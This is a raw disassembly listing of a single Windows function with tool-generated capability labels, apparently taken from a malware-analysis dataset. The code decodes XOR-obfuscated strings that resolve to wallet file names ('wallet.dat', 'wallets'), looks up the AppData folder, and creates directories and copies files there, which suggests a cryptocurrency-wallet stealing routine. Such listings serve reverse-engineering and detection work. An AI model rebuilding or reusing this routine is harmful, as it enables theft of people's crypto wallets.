Function at 0x40ff90
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502a10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1e8
push esi
push edi
mov dword [ebp - 0x28], ecx
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov word [ebp - 0x13], 0x5c
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x11], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410027
sub ecx, edx
lea eax, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402810
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1f8]
lea ecx, [ebp - 0xec]
call fcn.00468e90
add esp, 4
lea ecx, [ebx + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00464dc0
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x4100e3
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4100d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d56
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x41013c
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410132
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d56
push ecx
push edx
call fcn.004dc002
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0x535230
cmovae esi, dword [ebp - 0x58]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.004db303
add esp, 4
test eax, eax
jne 0x410d5b
test esi, esi
je 0x410c76
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410184
sub ecx, edx
je 0x410c76
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4101bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4101bd
cmp eax, 0x20
je 0x4101bd
cmp eax, 0x45
je 0x4101bd
cmp eax, 0x24
jne 0x410c76
push 0x535230
call fcn.004db314
add esp, 4
mov dword [ebp - 0x21], 0x7e706753
mov dword [ebp - 0x1d], 0x3861717f
xor ecx, ecx
mov dword [ebp - 0x19], 0x6d7973
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x4101e5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410205
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x48]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410d61
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.0046c8f0
call fcn.0040b940
add esp, 0x18
test al, al
je 0x4106c1
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410260
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x410d66
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046c8f0
mov byte [ebp - 4], 7
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x4102e5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004dda60
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x4102f5
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046ace0
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410373
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410369
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d6b
push ecx
push edx
call fcn.004dc002
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x535230
cmovae esi, dword [ebp - 0xa0]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004db303
add esp, 4
test eax, eax
jne 0x410d70
test esi, esi
je 0x4103f7
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4103b7
sub ecx, edx
je 0x4103f7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4103e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4103e8
cmp eax, 0x20
je 0x4103e8
cmp eax, 0x45
je 0x4103e8
cmp eax, 0x24
jne 0x4103f7
push 0x535230
call fcn.004db314
add esp, 4
jmp 0x410429
push 0x535230
call fcn.004db314
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41067e
mov dword [ebp - 0x21], 0x7e706753
xor ecx, ecx
mov dword [ebp - 0x1d], 0x3861717f
mov dword [ebp - 0x19], 0x6d7973
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410444
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410460
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x90]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410d76
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046c8f0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov dword [ebp - 0x21], 0x7e706753
cmovae esi, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x3861717f
mov dword [ebp - 0x19], 0x6d7973
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x4104e0
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104f8
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x410d7b
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
call fcn.0046c8f0
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push 0
cmovae eax, dword [ebp - 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x74]
mov esi, eax
cmp ecx, 0x10
jb 0x410585
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41057b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d80
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x4105d8
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4105ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d80
push ecx
push edx
call fcn.004dc002
add esp, 8
test esi, esi
je 0x4105e7
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410683
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410618
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040ba90
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410683
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410672
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d85
push ecx
push edx
call fcn.004dc002
add esp, 8
jmp 0x410683
mov edi, closesocket
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x4106c1
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4106b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d8a
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0x1e], 0x7e706753
xor ecx, ecx
mov dword [ebp - 0x1a], 0x6561717f
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x4106d7
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4106f0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x410d8f
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046c8f0
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
push 0x535230
cmovae esi, dword [ebp - 0xbc]
call fcn.004db303
add esp, 4
test eax, eax
jne 0x410d94
test esi, esi
je 0x4107a1
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410760
sub ecx, edx
je 0x4107a1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410791
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410791
cmp eax, 0x20
je 0x410791
cmp eax, 0x45
je 0x410791
cmp eax, 0x24
jne 0x4107a1
push 0x535230
call fcn.004db314
mov byte [ebp - 0x22], 1
jmp 0x4107af
push 0x535230
call fcn.004db314
mov byte [ebp - 0x22], 0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x4107f0
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4107e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410d9a
push ecx
push edx
call fcn.004dc002
add esp, 8
cmp byte [ebp - 0x22], 0
je 0x410c83
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410810
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x410d9f
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046c8f0
mov byte [ebp - 4], 0xd
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x410895
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004dda60
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x4108a5
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046ace0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410914
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41090a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410da4
push ecx
push edx
call fcn.004dc002
add esp, 8
cmp dword [ebp - 0x2c], 0x10
lea esi, [ebp - 0x40]
push 0x535230
cmovae esi, dword [ebp - 0x40]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004db303
add esp, 4
test eax, eax
jne 0x410da9
test esi, esi
je 0x410990
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410950
sub ecx, edx
je 0x410990
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410981
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410981
cmp eax, 0x20
je 0x410981
cmp eax, 0x45
je 0x410981
cmp eax, 0x24
jne 0x410990
push 0x535230
call fcn.004db314
add esp, 4
jmp 0x4109b9
push 0x535230
call fcn.004db314
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410c40
mov dword [ebp - 0x1e], 0x7e706753
xor ecx, ecx
mov dword [ebp - 0x1a], 0x6561717f
mov word [ebp - 0x16], 0x100
nop
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x4109d0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4109e8
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x30]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410daf
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046c8f0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x410a5a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410a50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dc4
push ecx
push edx
call fcn.004dc002
add esp, 8
movups xmm1, xmmword [ebp - 0xbc]
lea esi, [ebp - 0x40]
movq xmm0, qword [ebp - 0xac]
movq qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x2c], 0x10
movd eax, xmm1
push 0x535230
movups xmmword [ebp - 0x40], xmm1
cmovae esi, eax
call fcn.004db303
add esp, 4
test eax, eax
jne 0x410db4
test esi, esi
je 0x410ae0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410aa0
sub ecx, edx
je 0x410ae0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410ad1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410ad1
cmp eax, 0x20
je 0x410ad1
cmp eax, 0x45
je 0x410ad1
cmp eax, 0x24
jne 0x410ae0
push 0x535230
call fcn.004db314
add esp, 4
jmp 0x410b09
push 0x535230
call fcn.004db314
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410c40
sub esp, 0x18
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00465030
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1e], 0x7e706753
mov dword [ebp - 0x1a], 0x6561717f
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410b38
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xa4], esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b60
sub ecx, edx
mov edx, dword [ebp - 0x48]
sub edi, edx
cmp edi, ecx
jb 0x410dba
cmp dword [ebp - 0x44], 0x10
lea edi, [ebp - 0x1e]
push ecx
push edi
push edx
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ecx
push dword [ebp - 0xa4]
mov ecx, esi
call fcn.0046c8f0
mov cl, byte [ebp - 0x22]
mov byte [ebp - 4], 0xf
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410bb4
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410c40
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0x40]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410be0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x11
call fcn.0040ba90
mov ecx, dword [ebp - 0x74]
add esp, 4
cmp ecx, 0x10
jb 0x410c40
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dbf
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x410c83
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dc4
push ecx
push edx
call fcn.004dc002
add esp, 8
jmp 0x410c83
push 0x535230
call fcn.004db314
add esp, 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x410cb7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410cad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dc9
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x410cfd
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410cf3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dc9
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x410d43
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410d39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410dc9
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e12a0
push eax
call fcn.004dafab
call fcn.00402040
call fcn.00402040
call fcn.004e12a0
push eax
call fcn.004dafab
call fcn.00402040
call fcn.00402040
call fcn.004e12a0
call fcn.004e12a0
call fcn.004e12a0
call fcn.00402040
push eax
call fcn.004dafab
call fcn.004e12a0
call fcn.00402040
call fcn.004e12a0
push eax
call fcn.004dafab
call fcn.00402040
push eax
call fcn.004dafab
call fcn.00402040
call fcn.004e12a0
call fcn.004e12a0
call fcn.004e12a0
int3